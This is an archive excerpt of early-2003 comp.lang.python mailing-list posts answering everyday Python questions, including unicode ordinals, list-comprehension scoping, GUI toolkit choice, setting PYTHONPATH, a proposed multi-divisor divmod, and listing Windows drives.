> a user context of lower permissions and then "login" as the root.

Not really.  Instead, they're launched through a wrapper that runs as root 
and does the authentication check.  You could use the same wrapper, if you 
can find out what it's called and how to use it (I started looking, but 
couldn't find it quickly in my RedHat 8.0).

> ('twander' isn't so much just a file browser as a GUI navigation
> front-end to a more traditional command line shell.)

Ah, well if this is the case then you could pass commands to sudo or 
another such (simple) wrapper, and have it handle the security.

>
> However, a bit of reading on the resources you and others provided
> convinced me that this is a really terrible idea of scripts.
>
> Thanks for the help,

Andrew




From amorgan at Xenon.Stanford.EDU  Thu Jan 30 16:40:31 2003
From: amorgan at Xenon.Stanford.EDU (Alan Morgan)
Date: Thu, 30 Jan 2003 21:40:31 +0000 (UTC)
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net>
Message-ID: <b1c64f$pej$1@Xenon.Stanford.EDU>

In article <nM5_9.4304$wd2.333480 at newsread2.prod.itd.earthlink.net>,
Brandon Van Every <vanevery at 3DProgrammer.com> wrote:
>Simon Wittber (Maptek) wrote:
>> Hmmmmm...
>>
>>> Brandon Van Every wrote:
>>>> I see no primary purpose for Python's existence other than as a
>>>> glue language.
>>
>> An obvious troll. Appears to be a successful one too!
>
>A person of no use because he writes off anything aberrant as "troll."
>Goodbye!

You are correct.  We should have judged your arguments on their merits.

Wait a minute... you didn't *present* an argument.  That explains it.

Alan
-- 
Defendit numerus



From martin at v.loewis.de  Thu Jan 16 09:47:35 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 15:47:35 +0100
Subject: unicode positions of characters
References: <3E26B008.4F281CD@gol.ge>
Message-ID: <m3y95l2ltk.fsf@mira.informatik.hu-berlin.de>

Giorgi Lekishvili <gleki at gol.ge> writes:

> Could somebody tell me how can I get the unicode hexadecimals of chars?
> e.g., 'char'  --> xyzv

I thought I understood the question, but then your example breaks this
understanding. What has the identifier xyzv to do with the string
literal 'char'? Where is anything hexadecimal, or unicode, in this
example?

To get the Unicode ordinal from a Unicode character, use the ord
function. To get a hexadecimal representation of a number, use the hex
function.

>>> s=u"Hello"
>>> ord(s[0])
72
>>> hex(ord(s[0]))
'0x48'

Regards,
Martin



From idbaxter at semdesigns.com  Sat Jan  4 08:36:13 2003
From: idbaxter at semdesigns.com (Ira Baxter)
Date: Sat, 4 Jan 2003 07:36:13 -0600
Subject: Term rewriting
References: <pan.2003.01.04.02.58.36.777265@webone.com.au>
Message-ID: <3e16e167$1@giga.realtime.net>

Not in Python.  But we have a powerful term rewriting system
supported by strong parsing technology and a large number
of predefined grammars for contemporary languages.
See http://www.semdesigns.com/Products/DMS/DMSToolkit.html.

--
Ira D. Baxter, Ph.D., CTO   512-250-1018
Semantic Designs, Inc.      www.semdesigns.com

"Simon Burton" <simonb at webone.com.au> wrote in message
news:pan.2003.01.04.02.58.36.777265 at webone.com.au...
>
> Has anyone (knowingly) implemented a 'term rewriting' framework in python?
> Perhaps as part of another project?
>
> I am implementing something along these lines for a parser project
> (cdecl.py); have decided to manipulate the parse tree *after* building it,
> rather than trying to do it all at once (too brittle).
>
> So, to keep the tree-transformations separate from the parsing.
> Here is what is going on so far:
>
> class Node(list):
>   " node in the parse tree "
>
> and for each syntactic unit, a class derived (perhaps indirectly) from
Node.
>
> The 'operators' are Nodes, and the 'terms' are Node(list) instances.
> This means that operators are varadic, but still, things like
> distributivity, commutativity, make sense.
>
> Two ideas now.
> CRUDE) each operator has one (or more) appropriate 'act' method(s) that
accept a parent argument.
> FANCY) a whole new class heirarchy of general Node(list) transforms.
> Instances would respond to specified class instances (term types) only.
>
> Well, i'd like to see any relevant code people have.
>
> bye,
>
> Simon Burton.
>





From tim.one at comcast.net  Mon Jan 20 23:31:31 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 20 Jan 2003 23:31:31 -0500
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <ad496f8.0301200111.2b3194c4@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEHDDJAB.tim.one@comcast.net>

[Tim]
> At the time, lexical nesting didn't yet exist in Python either.
> The case for "magically local" bindings has gotten stronger since
> lexical nesting was added, but now we've got a backwards compatibility
> burden too.

[Ville Vainio]
> Backwards compatibility would be less of a burden if it was flagged as
> "possibly unsupported in the future" in the documentation.

That wouldn't help, and it's not undefined now anyway.  Changing defined
behavior in incompatible ways requires a future statement and (at least) a
full dot-release transition period.

> At least it would do a bit to alleviate the embarrassment felt when
> explaining the feature to colleagues, 5 minutes after touting how well
> designed python is ;-).

I don't think the case is compelling even with lexical nesting, just
stronger than it was.  There are very few constructs in Python that
introduce a code block, that set hasn't changed, and neither has that scopes
are associated only with code blocks (see the "Code blocks, execution
frames, and namespaces" section of the Ref Man).  It would be a wart of a
different kind if listcomps were considered to establish a new code block,
and a wart of a third kind if listcomps weren't considered to introduce a
new code block but were unique in introducing a new scope anyway.  "Good
design" has to balance lots of things, and protecting a programmer against
sloppy reuse of variable names is only one of them.

I've never found that the the binding done by listcomps is useful after the
listcomp has finished, but then I've never been burned by it either.  That
it *can* burn the careless is a wart too, of course.  OTOH, the ability to
explain listcomps semantics exactly via appeal to an equivalent loop nest is
worth something too.

guido-doesn't-like-pepper-in-his-sugar-ly y'rs  - tim





From covino at merate.mi.astro.it  Fri Jan 17 02:49:32 2003
From: covino at merate.mi.astro.it (Stefano Covino)
Date: Fri, 17 Jan 2003 08:49:32 +0100
Subject: Socket communications
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de> <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com> <b06eo8$m0u70$1@ID-145579.news.dfncis.de> <b06rr3$711$1@SunSITE.icm.edu.pl>
Message-ID: <b08ckp$mj3kp$1@ID-145579.news.dfncis.de>

> 
> If you do not have to implement a particular protocol, then you
> can use any other approach for network communications, including
> some higher-level ones.
> 
> Please follow my signature and find Python tutorials for the
> library I maintain to see if it fits your needs.
> 
> --
> Maciej Sobczak
> http://www.maciejsobczak.com/
> 
> Distributed programming lib for C, C++, Python & Tcl:
> http://www.maciejsobczak.com/prog/yami/


Hi Maciej,

I only gave a quick look at you libraries but it seems that you are 
providing exactly what I am looking for!

I will let you know.

Thanks,
        Stefano




From claird at lairds.com  Thu Jan  9 09:11:32 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 09 Jan 2003 14:11:32 -0000
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <mailman.1042079655.13981.python-list@python.org>
Message-ID: <v1r0ok1n8rsmb6@corp.supernews.com>

In article <mailman.1042079655.13981.python-list at python.org>,
Tim Churches  <tchur at optushome.com.au> wrote:
>On Wed, 2003-01-08 at 15:32, Gerhard H??ring wrote, not entirely
>helpfully,:
>> Rick Richardson wrote:
>> > 
>> > I'm currently reviewing technologies for a large, gui intensive application.
>> > We're planning on having a template driven dynamic gui system, but having
>> > written Java gui's in the past I'm concerned that python may share java's
>> > affliction and be slower than molassses in January.
>> >  
>> > Can anyone out there comment on the relative speed of Java's gui libs and
>> > any one of the python gui libs?
>> 
>> Sure I can. Try it out.
>
>If you are "planning on having a template driven dynamic gui system"
>then you might want to look seriously at PythonCard (see
>http://pythoncard.sourceforge.net/ ), which is an XML template driven
>dynamic GUI system. PythonCard is built on top of wxPython, which is a
>binding for wxWindows, which is a cross-platform wrapper around native
>GUI calls. The end result is very fast. On Windows systems, wxPython is
>a piece of cake to install (it may require some library updates and
>hence a bit more effort on some Linux and unix system, but not too
>hard). PythonCard is simplicity itself to install once you have
>wxPython.
>
>Others will comment on pyQT and Tkinter, neither of which I have used
>much. If it is a big project, it is worth spending time investigating
>and testing all these, and comparing them against Java GUIs, before
>making a decision. Don't forget to investigate licensing issues, which
>is a factor with PyQT on some platforms, I believe.
>
>So ultimately Gerhard's advice is sound.
>
>Tim C
>
>
>

Mr. Richardson's team might love PythonCard.  Its
biggest liability might simply be its ease; there
are plenty of full-time ITers who regard anything
so effective as a "toy".

The advice to "try it yourself" is not so fatuous
as it might sound from a Java perspective.  Exer-
cise of Python GUIs is far less ardurous than the
corresponding Java trials.  You can reasonably
download, install, and begin to practice Tkinter
in a lunch hour.  So:  you're right to ask the
questions you do, but you're also likely to find
that your ultimate decision will come from your
own experiments.

I like Tkinter.  It's slow, though, at run-time.
Not necessarily too slow--and certainly not in
comparison to what people seem willing to tolerate
from Swing--but annoyingly slow to me.

Mr. Richardson will want to specify his platform
requirements carefully.  He might find that the
common Pythonic GUI systems are effectively
*more* portable than Java.  In any case, not all
Python bindings are equally mature in this regard.

PyQt is a very nice programming system.  I have
no idea how that aligns with the expectations of
Mr. Richardson's team's ideas about a "template
driven dynamic gui system".
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From eppstein at ics.uci.edu  Thu Jan 30 14:17:48 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Thu, 30 Jan 2003 11:17:48 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <5pWO+ks/KzLb089yn@the-wire.com>
Message-ID: <eppstein-47BAFF.11174830012003@news.service.uci.edu>

In article <5pWO+ks/KzLb089yn at the-wire.com>,
 mwilson at the-wire.com (Mel Wilson) wrote:

> In article <m4di3v4koufdbf4e2pvsanegli2kqt48ch at 4ax.com>,
> Dale Strickland-Clark <dale at riverhall.NOTHANKS.co.uk> wrote:
> >In many places, often small utility functions, I find myself using the
> >form:
> >
> >lst = maybeAnArg
> >if type(lst) not in (list, tuple)
> >    lst = [lst]
> >for x in lst:
> >    whatever
> >
> [ ... ]
> >
> >In other words, I want to be able to treat an argument of arbitrary
> >type as a list of 1 if it isn't already a list.
> >Has anyone got a neater way of doing this?
> 
>    I don't see anything wrong with this as it stands; it
> does just what it says and I presume it does just what you
> want.

One problem with it as it stands is that it won't work when lst is a 
simple generator.

how about:

try:
    lst = iter(lst)
except TypeError:
    lst = [lst]

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From avner at skilldesign.com  Tue Jan 28 16:06:38 2003
From: avner at skilldesign.com (Avner Ben)
Date: Tue, 28 Jan 2003 23:06:38 +0200
Subject: patching of python: tabs make me seek of python
References: <f210c9f3.0301281143.22c01152@posting.google.com>
Message-ID: <3e36f0e0$1@news.012.net.il>

"Andrei Smirnov" <asmirnov at asmirnov.com> wrote in message
news:f210c9f3.0301281143.22c01152 at posting.google.com...
> hi
>
> ...i'm using python with pleasure until i have to deal with tabs.
>

Configure your editor to issue spaces instead of tabs.

    Avner.





From bellman at lysator.liu.se  Thu Jan  2 16:32:21 2003
From: bellman at lysator.liu.se (Thomas Bellman)
Date: Thu, 2 Jan 2003 21:32:21 +0000 (UTC)
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se> <3E11D137.20109@v.loewis.de> <ausm5m$g1a$1@news.island.liu.se> <auss6q$vi2$1@slb4.atl.mindspring.net>
Message-ID: <av2b55$nvg$1@news.island.liu.se>

Andrew Dalke <adalke at mindspring.com> wrote:

> OTOH, I think your preference comes from the way you want
> the output to read, since it's easier to think of the larger
> terms before the smaller ones, as with

>    w, d, h, m, s = divmod(seconds, 7, 24, 60, 60)

> compare that to the alternates of

>    s, m, h, d, w = divmod(seconds, 60, 60, 24, 7)
>    w, d, h, m, s = divmod(seconds, 60, 60, 24, 7)

Correct, I think the first version is easiest to think of and to
read.  The last version I think would be quite awkward to read,
since the result comes in the opposite order from the parameters:
you specify the number of days per week last, but the weeks and
days come out first.

There is also the matter of backward compatibility: divmod
currently returns the quotient first, and the remainder second.
For the sake of consistensy, one absolutely wants the quotient to
come first regardless of the number of divisors; doing otherwise
would be quite awful.  That rules out using the order

    s, m, h, d, w = divmod(seconds, 60, 60, 24, 7)

That actually leaves us with another alternative, which you
didn't suggest:

    w, s, m, h, d = divmod(seconds, 60, 60, 24, 7)

But that also feels weird to read.

>          a, x = divmod(a, 30268)
>          a, y = divmod(a, 30306)
>          a, z = divmod(a, 30322)
>          self._seed = int(x)+1, int(y)+1, int(z)+1

> The way I would expect to see it rewritten is

>     x, y, z, a = divmod(a, 30268, 30306, 30322)

> However, you would want it rewritten

>     a, z, y, x = divmod(a, 30322, 30306, 30268)

> This seems backwards to me.

Yes, it might feel backwards.  However, reading more of the
code from the WhichmanHill generator in random.py, I get the
impression that there is no inherent meaning in the incoming
value a.  And the final value of a, after the three divmod()
calls, is just thrown away.

But yes, rewriting that code to use a generalized divmod() is
slightly less straightforward.


-- 
Thomas Bellman,   Lysator Computer Club,   Link?ping University,  Sweden
"God is real, but Jesus is an integer."      !  bellman @ lysator.liu.se
                                             !  Make Love -- Nicht Wahr!



From alloydflanagan at attbi.com  Thu Jan 16 09:37:38 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 16 Jan 2003 06:37:38 -0800
Subject: TreeListCtrl with wxPython
References: <3E26988F.AAD023A2@imms.de>
Message-ID: <a8b7f07a.0301160637.5c5d572@posting.google.com>

Steffen Michael <steffen.michael at imms.de> wrote in message news:<3E26988F.AAD023A2 at imms.de>...
> Hi,
> I want to use a TreeList, a combination of the TreeCtrl and the
> ListCtrl. 

I don't know of any such class.  What functionality do you need that
the wxTreeCtrl doesn't provide?  It's pretty powerful.



From mike at bindkey.com  Wed Jan 22 20:49:12 2003
From: mike at bindkey.com (Mike Rovner)
Date: Wed, 22 Jan 2003 17:49:12 -0800
Subject: Debugging mixed Python and C++ -- possible?
References: <CFN376434482471181@news.mindspring.com>
Message-ID: <b0nhk5$ufn$1@main.gmane.org>

"Carl Bevil" <carl_bevil at yahoo.com> wrote in message
news:CFN376434482471181 at news.mindspring.com...
>
> In this situation, what do people here suggest?  The debugger will run on
a
> Windows machine, but needs to debug Python code running on a device
elsewhere
> on the network.  I think it probably will have to be able to attach to an
> already running process, and will have to deal with the interpreter being
> embedded in another application.

I used WingIDE to remote debug Python code inside C app on Solaris from
Windows.
Worked just fine.

> Am I expecting too much?

Not at all ;)

Mike







From kowald at molgen.mpg.de  Thu Jan 16 15:23:03 2003
From: kowald at molgen.mpg.de (Axel Kowald)
Date: 16 Jan 2003 12:23:03 -0800
Subject: PyMat version for python 2.2 and Matlab 6 ??
Message-ID: <9b5e8d9.0301161223.45bd2141@posting.google.com>

Hi,

PyMat is a Python module that enables access to Matlab
(http://claymore.engineer.gvsu.edu/~steriana/Python/pymat.html).

Unfortunately, the available version needs Python 2.0 and is designed
for Matlab 5. I wonder if somebody knows if there is a version for
python 2.2 and Matlab 6 around ??

Many thanks,

          Axel Kowald



From itcram at yahoo.com  Wed Jan  8 14:37:28 2003
From: itcram at yahoo.com (Mark)
Date: 8 Jan 2003 11:37:28 -0800
Subject: PIL JPEG pixel problem
References: <df392399.0301070946.5455fd55@posting.google.com> <3e1b8a7a.178818290@news-server.austin.rr.com>
Message-ID: <df392399.0301081137.54d751eb@posting.google.com>

jgraves3 at austin.rr.com (jay graves) wrote in message news:<3e1b8a7a.178818290 at news-server.austin.rr.com>...
> On 7 Jan 2003 09:46:13 -0800, itcram at yahoo.com (Mark) wrote:
> 
> >I'm having problems changing the pixels in a .jpg file.
> <snip>
> 
> If you are trying to do what I think you are trying to do (remove a
> 'stuck' pixel in an image from a digital camera) you can try the
> following package.
> 
> http://jpegpixi.sourceforge.net/
> 
> HTH.
> 
> jay graves

Thanks for the advice.  I was afraid you'd say to change to a
different format.  But Then again that's what I was expecting.  Thanks
for all your help!!!!!!!

-Mark



From arosado at softhome.net  Thu Jan  2 20:34:00 2003
From: arosado at softhome.net (Andres Rosado)
Date: Thu, 02 Jan 2003 21:34:00 -0400
Subject: HELP! Must choose language!
Message-ID: <5.1.0.14.0.20030102213348.00c16408@mail.softhome.net>

On 12:06 AM 12/30/2002 -0500, the keyboard of 
python-list-request at python.org emitted:
>Hello, everyone, I am a 9th grade student, who is very interested in learning
>programming. I realize I waited too long to begin, as many have started in
>earlier grades, but I am determined to learn something.

Some has waited longer. ;)

>But that is where it
>stops. I have no idea what programming language to learn. This, for me, as a
>beginner, is incredibly frustrating and I keep questioning myself. WHAT is the
>best language to learn, in your unbiased opinion, for a complete beginner to
>programming? I have seriously considered C( I even bought and started on a 
>book
>about it), Python(my original choice, however, teachers deterred me from it),

Any particular reason for doing so?

>C++(instead of C, supposedly quicker to get into), as well as some form of
>BASIC.

I don't like Basic, because it's, well, basic. Don't get me wrong; it is a 
good language, just that I don't like it.

C/C++ are great languages, once you get the hang on them. On the beginning, 
they are kind of rough. Once you have a clearer picture, it gets "easier" 
to write it. Compile the code is an horror story, though.

Python is a great language too. Easier than C/C++ to learn.

However, first learn to program and then take care of the details. If you 
first focus on the details of the programming language, you might getting 
into trouble. On the other hand, if you learn how to program first, then 
the rest is just RTM (Read the Manual).

>But I, in all seriousness, am running out of time. I get back to school
>the week after next, and I want to have some intermediate knowledge of a
>language by then.

Take it easy. Don't expect to get intermediate knowledge in a week. You may 
have the basics by then.

>I get little time to do anything I want after school, and
>thus my chances to further my knowledge of a language would be severly limited
>to weekends, which are also packed for me.

Some of us have the same problem.

>Basically, everyone, I need a
>language, I need it fast.

Python is a good choice. But take care of learning to program first. You 
may be a competent programmer without the basics, but it will be a tad 
difficult to do so.

>Also, I have heard C and C++ are rough to start with. Any truth to this?

If you try to get the basics of programming first, any language will be OK. 
It's more important to have the basics than the language you decide to use.

You may want to try Alan's tutorial at 
http://www.freenetpages.co.uk/hp/alan.gauld/ .


--
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
Homepage: http://andres980.tripod.com/

I am sorry to write you such a long letter.  I don't have time to
write a short one.
         -- Oscar Wilde





From lac at strakt.com  Sun Jan  5 09:29:01 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 05 Jan 2003 15:29:01 +0100
Subject: How can I edit the PYTHONPATH environmenal variable in Linux? 
In-Reply-To: Message from "Russ Chaffin" <rchaffin@mindspring.com> 
   of "Sun, 05 Jan 2003 09:13:49 EST." <001b01c2b4c4$ab10f480$210110ac@hector> 
References: <001b01c2b4c4$ab10f480$210110ac@hector> 
Message-ID: <200301051429.h05ET1jL024805@ratthing-b246.strakt.com>

1. Can you please send your mails/news as plain ascii and not HTML?
   Thanks very much.

2. Put this in the file .bashrc which lives in your home directory:

PYTHONPATH=/whatever/you/want; export PYTHONPATH

3. Bookmark this link. 
   http://groups.google.com/advanced_group_search?as_ugroup=comp.lang.python

Then you can search for answers to your questions in the entire
mailing list python-list at python.org from the time it was gatewayed to
comp.lang.python.  That is many years worth of archive.  It is a
terrific way to get answers to questions.

good luck, and welcome to Python.
Laura Creighton


> This is a multi-part message in MIME format.
> 
> ------=_NextPart_000_0018_01C2B49A.C2258FC0
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
> 
> Can someone show how to edit the PYTHONPATH environmental variable in =
> Linux?
> I'm a novice in Linux so my learning curve is pretty steep at this =
> point.
> I'm using a debian disto of Linux 2.4. I'm also using a bash shell to do =
> my editing.
> 
> Your help will be greatly appreciated! Thanks!
> 
> =3D=3D Russ Chaffin =3D=3D
> ------=_NextPart_000_0018_01C2B49A.C2258FC0
> Content-Type: text/html;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
> 
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META http-equiv=3DContent-Type content=3D"text/html; =
> charset=3Diso-8859-1">
> <META content=3D"MSHTML 6.00.2800.1126" name=3DGENERATOR>
> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT size=3D2>Can someone show how to edit the PYTHONPATH =
> environmental=20
> variable in Linux?</FONT></DIV>
> <DIV><FONT size=3D2>I'm a novice in Linux so my learning curve is pretty =
> steep at=20
> this point.</FONT></DIV>
> <DIV><FONT size=3D2>I'm using a debian disto of Linux 2.4. I'm also =
> using&nbsp;a=20
> bash shell to do my editing.</FONT></DIV>
> <DIV><FONT size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT size=3D2>Your help will be greatly appreciated! =
> Thanks!</FONT></DIV>
> <DIV><FONT size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT size=3D2>=3D=3D Russ Chaffin =
> =3D=3D</FONT></DIV></BODY></HTML>
> 
> ------=_NextPart_000_0018_01C2B49A.C2258FC0--
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From adalke at mindspring.com  Thu Jan  9 19:21:54 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 17:21:54 -0700
Subject: Do pythons like sugar?
In-Reply-To: <mailman.1042150368.28357.python-list@python.org>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>	 <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>	 <avjj5d$8cn$1@slb3.atl.mindspring.net>	 <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042150368.28357.python-list@python.org>
Message-ID: <avl458$alf$1@slb0.atl.mindspring.net>

> Although I too am a bit curious what Andrew's trick is, I'm guessing it
> involves manipulating namespaces in an "interesting" way.  Not the sort
> of thing to be encouraged.  He knows that if he told you, you'd probably
> use it and then regret it later on when you realized its implications,
> or that using it would prevent you seeing a better solution.

I posted it elsewhere.
  =====================
In other words "DO NOT USE IN REAL CODE - I WILL NOT BE
HELD RESPONSIBLE IF YOU DEPLOY WITH THIS.  FOR NOVELTY
USE ONLY."

 >>> class Foo:
....     eggs = 1
....     def doit(self):
....             self.spam = 5
....             self.tomato = 3
....             for x in dir(self): exec "%s = self.%s" % (x,x)
....             for k, v in locals().items():
....                     print k, "==", v
....             print
....             print "the calculation yields", tomato ** spam
....
 >>> Foo().doit()
doit == <bound method Foo.doit of <__main__.Foo instance at 0x815a284>>
tomato == 3
__module__ == __main__
spam == 5
x == tomato
self == <__main__.Foo instance at 0x815a284>
eggs == 1
__doc__ == None

the calculation yields 243
 >>>
===============================

					Andrew




From trial at ugyvitelszolgaltato.hu  Fri Jan 31 05:58:04 2003
From: trial at ugyvitelszolgaltato.hu (Attila Szabo)
Date: Fri, 31 Jan 2003 11:58:04 +0100
Subject: thread and linuxaudio
Message-ID: <20030131105804.GA19781@csola.ugyvitelszolgaltato.hu>

Hi,

is linuxaudiodev thread-safe ?

I'm working on a curses interface for postgres and
I have some multi-thread stuff for example a progress bar.
It would be a good joke to play music while the query is running
but it does'nt work.

thank you
-- 
-
-
A t t i l a :: trial at ugyvitelszolgaltato.hu :: S z a b o
-
-




From avner at skilldesign.com  Tue Jan 28 04:49:51 2003
From: avner at skilldesign.com (Avner Ben)
Date: Tue, 28 Jan 2003 11:49:51 +0200
Subject: Skill-Driven Design language and compiler
References: <3e338c10$1@news.012.net.il>
Message-ID: <3e365240$1@news.012.net.il>

"Avner Ben" <avner at skilldesign.com> wrote in message
news:3e338c10$1 at news.012.net.il...
> Announcing
> "Entity/Skill-Driven" Design ('SDD')
> pre-release language specification and free compiler
> By Avner Ben.

In case you are wondering why this post his here, I neglected to mention...

The software is written in Python and generates Python code starters.

Give it a try. Feedback will be appreciated.

        Avner Ben





From com-nospam at ccraig.org  Mon Jan  6 09:39:10 2003
From: com-nospam at ccraig.org (Christopher A. Craig)
Date: 06 Jan 2003 09:39:10 -0500
Subject: Sorting out sort
In-Reply-To: <R7dF+ks/K35d089yn@the-wire.com>
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>
	<v14ch7mkp0vu55@news.supernews.com>
	<mailman.1041382562.17669.python-list@python.org>
	<v15qgkgpq72tbf@news.supernews.com>
	<3759308d.0301011401.4b32deba@posting.google.com>
	<3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk>
	<v18hldk4img654@news.supernews.com>
	<3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk>
	<v1b7idcfms9ne0@news.supernews.com>
	<mailman.1041604867.10805.python-list@python.org>
	<R7dF+ks/K35d089yn@the-wire.com>
Message-ID: <87of6us5pt.fsf@beren.ccraig.org>

mwilson at the-wire.com (Mel Wilson) writes:

>    But I'm not personally comfortable with hiding that big
> side effect inside an innocent-looking expression, even if
> cognoscenti have learned to raise a red flag anytime they see
> '.sort('.  There's already enough entry-level confusion with

I'm rather suprised you're willing to hide the time loss in such an
innocent looking expression.  If I have something that could take
several seconds to run, I'd really rather see it have its own line.

-- 
Christopher A. Craig <com-nospam at ccraig.org>
I develop for Linux for a living, I used to develop for DOS.  Going from
DOS to Linux is like trading a glider for an F117. - Lawrence Foard




From noah at noah.org  Fri Jan 10 19:37:32 2003
From: noah at noah.org (Noah)
Date: 10 Jan 2003 16:37:32 -0800
Subject: How do I start Mac Python scripts from Excel?
References: <c9d82136.0301061329.45a09a71@posting.google.com> <just-12E442.23124806012003@news1.news.xs4all.nl>
Message-ID: <c9d82136.0301101637.60d8f7df@posting.google.com>

I figured out the "Applet" thing. This let's me run the script just
by double-clicking. Still, it feels a bit dirty -- like COMPILING.
I wish I could just run the script directly. But I'm happy with the
applet solution
 
Just <just at xs4all.nl> wrote in message  
> Can Excel execute AppleScript? If so, you should launch your applet with 
> a small AppleScript.

I do not know. I don't know Applescript either.
But this might be a good tip in the right direction.
 
> > 2. How do I prevent or dismiss the "Output" window that
> > always comes up when I run a Python Applet on Mac?
> 
> Drop your applet onto the EditPythonPrefs app in the MacPython distro. 
> Look for a setting "delay output window until needed". And then make 
> sure you don't print anything...

That worked perfectly. As long as I don't print anything then
the Python script finishes cleaning without the user having to close anything.

Thanks for the help. ... Soon I will be switching to MacOS X where I hope
a lot of these problems will go away.

Yours,
Noah



From christophertavares at earthlink.net  Fri Jan  3 17:28:30 2003
From: christophertavares at earthlink.net (Chris Tavares)
Date: Fri, 03 Jan 2003 22:28:30 GMT
Subject: Win32 Drive List Redux
References: <ert1va.ruj2.ln@boundary.tundraware.com> <eop2va.igo2.ln@boundary.tundraware.com>
Message-ID: <i8oR9.13097$9N5.1224541@newsread2.prod.itd.earthlink.net>

"Tim Daneliuk" <tundra at tundraware.com> wrote in message
news:eop2va.igo2.ln at boundary.tundraware.com...
> Tim Daneliuk wrote:
> > Some time ago, there was a brief thread on how to get a list of
> > available drives on Win32.  Peter Hansen suggested the use of:
> <SNIP>
>
> Well, here is a "Sort-Of" solution. It suffers from the fact that it is
> not in sync with reality of the machine - it reports B: on my system
> (which has none) and incorrectly shows a network drive that has been
> detatched.  Still, its kind of interesting...
>

I missed the original suggestion, but what's wrong with this:

>>> drives = []
>>> drivemask = win32file.GetLogicalDrives()
>>> for drive in range(ord("A"), ord("Z") ):
...  if drivemask & 1 != 0:
...   drives.append( chr(drive) )
...  drivemask = drivemask >> 1
...
>>> drives
['A', 'C', 'D', 'E', 'F', 'M', 'N']

-Chris






From max at alcyone.com  Sun Jan 19 21:35:41 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 19 Jan 2003 18:35:41 -0800
Subject: Install Python in C:\usr\bin
References: <cb035744.0301151013.4f5c0327@posting.google.com> <cb035744.0301180748.3e2058d6@posting.google.com> <cb035744.0301191539.673bf0a1@posting.google.com>
Message-ID: <3E2B607D.BEFA8BE6@alcyone.com>

Will Stuyvesant wrote:

> And here is some more "using Python for CGI" adventures:
> "Segmentation fault" when running CGI scripts remotely (host has
> Python 1.5).

Works for me:

#!/usr/local/bin/python1.5

import random
import sys

print "Context-type: text/plain"
print

print hex(sys.hexversion)
print random.random()

prints:

0x10502f0
0.987676482342

Are you sure the crash is happening when you import random?

> After some testing it turned out I could not do "import random" in my
> CGI scripts.  Solved it by replacing ``random`` with ``whrandom`` in
> every script.  I read the modules' specs a bit but I still don't get
> it...there must be an important difference between ``random`` and
> ``whrandom``.  Why else would we have 2 random modules.  The reason
> must be important.  Um.  Is it?

whrandom is the deprecated version.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Yes I'm / Learning from falling down / Heavily
\__/ Lamya
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From sholden at holdenweb.com  Thu Jan 30 22:03:13 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 31 Jan 2003 03:03:13 GMT
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <b0e655d.0301281341.5d7ae942@posting.google.com> <3E371BC2.BC18A93@engcorp.com> <RTWZ9.46536$Vh.45632@news2.central.cox.net> <3E38A894.57BCC190@engcorp.com>
Message-ID: <RHl_9.58608$Vh.24396@news2.central.cox.net>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E38A894.57BCC190 at engcorp.com...
> Steve Holden wrote:
> >
> > What Peter is trying to say here is that, besides the *client-side*
action
> > of causing the form to be submitted, the button also appears in the POST
> > data stream as a type=value pair, and therefore you should include a
> > dictionary entry for it in your name-data pairs.
> >
> > In terms of your question, yes, submitting the data triggers the
server-side
> > actions that process it.
>
> Thanks Steve.  I somehow didn't see his sentence asking about the
> "server-side onSubmit" actions, probably jumping to answer as soon
> as I saw something I could answer :-), so I guess my post was
> unclear.
>

Yeah, well. Like you I'm busy enough that nowadays I'm happy to have a few
moments to answer half a question :-)

and-glad-not-to-be-id-ly y'rsw  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
